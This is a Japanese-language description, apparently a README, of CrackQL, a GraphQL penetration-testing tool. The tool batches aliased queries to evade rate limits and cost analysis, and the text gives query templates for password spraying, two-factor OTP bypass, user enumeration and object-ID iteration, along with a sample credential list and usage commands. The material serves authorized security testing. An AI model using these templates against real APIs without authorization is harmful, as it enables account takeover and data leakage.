
弱いレート制限とコスト分析を悪用し、バッチエイリアスクエリを通じて認証情報の総当たり、2FAバイパス、ユーザーの列挙、操作のファジングを行うGraphQL侵入テストツール。
CrackQLは、GraphQLパスワードのブルートフォースおよびファジングユーティリティです。
CrackQLは、レート制限とコスト分析の制御が不十分な脆弱性を悪用して、資格情報のブルートフォースや操作のファジングを行う多機能なGraphQLペネトレーションテストツールです。
CrackQLは、単一のGraphQLクエリまたはミューテーションを複数のエイリアス操作に自動的にバッチ処理します。CSV入力変数に基づいて使用するエイリアス数を決定します。プログラムでバッチ化されたGraphQLドキュメントを生成した後、CrackQLはペイロードをターゲットのGraphQL APIにバッチ送信し、結果とエラーを解析します。
CrackQLは、動的な入力リストに基づいてプログラムでペイロードを生成するため、幅広いGraphQL攻撃に使用できます。
Burp Intruderが各ペイロードに対して個別のリクエストを送信するのとは異なり、CrackQLは複数のエイリアスクエリを使用して、大量の資格情報を単一のHTTPリクエストに詰め込むことで、従来のAPI HTTPレート制限監視防御を回避します。クエリコスト分析防御を回避するために、CrackQLは一連の小さなバッチ操作(-b)と時間遅延(-D)を使用して最適化できます。
CrackQLは、インバンドのGraphQL認証操作(GraphQL Authentication Moduleなど)を利用するGraphQLデプロイメントに対して最適です。以下のパスワードスプレーの例は、sample-inputs/users-and-passwords.csv辞書を使用してDVGAに対して機能します。
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
CrackQLを使用して、すべてのOTP(ワンタイムパスワード)トークンを送信することで、二要素認証をバイパスすることが可能です。
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQLは、有効なユーザーID、ユーザー名、メールアドレスを発見するための列挙攻撃にも使用できます。
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQLを使用して、多数の潜在的な一意識別子を反復処理し、オブジェクト情報を漏洩させることができます。
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQLは、SQLiやXSSペイロードの送信など、一般的な入力ファジング操作に使用できます。
CrackQLは、CSVファイルで定義された入力変数に基づいてペイロードを生成します。CSVヘッダーは入力名と一致する必要があります。
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help ヘルプメッセージを表示して終了
-t URL, --target=URL ターゲットのGraphQLエンドポイントへのURL
-q QUERY, --query=QUERY
変数ペイロードマーカー付きの入力クエリまたはミューテーション操作
-i INPUT_CSV, --input-csv=INPUT_CSV
引数リストのCSVファイルへのパス(例:ユーザー名、メール、ID、パスワード、OTPトークンなど)
-d DELIMITER, --delimiter=DELIMITER
CSV入力の区切り文字(デフォルト:",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
結果を保存する出力ディレクトリ(デフォルト:./results/[domain]_[uuid]/)
-b BATCH_SIZE, --batch-size=BATCH_SIZE
GraphQLドキュメントリクエストあたりのバッチ操作数(デフォルト:100)
-D DELAY, --delay=DELAY
バッチリクエスト間の時間遅延(秒)(デフォルト:0)
--verbose 詳細なメッセージを表示
-v, --version 現在のバージョンを表示して終了
config.pyを使用して、エンドポイントが認証を必要とする場合にHTTPクッキー、ヘッダー、プロキシを設定します。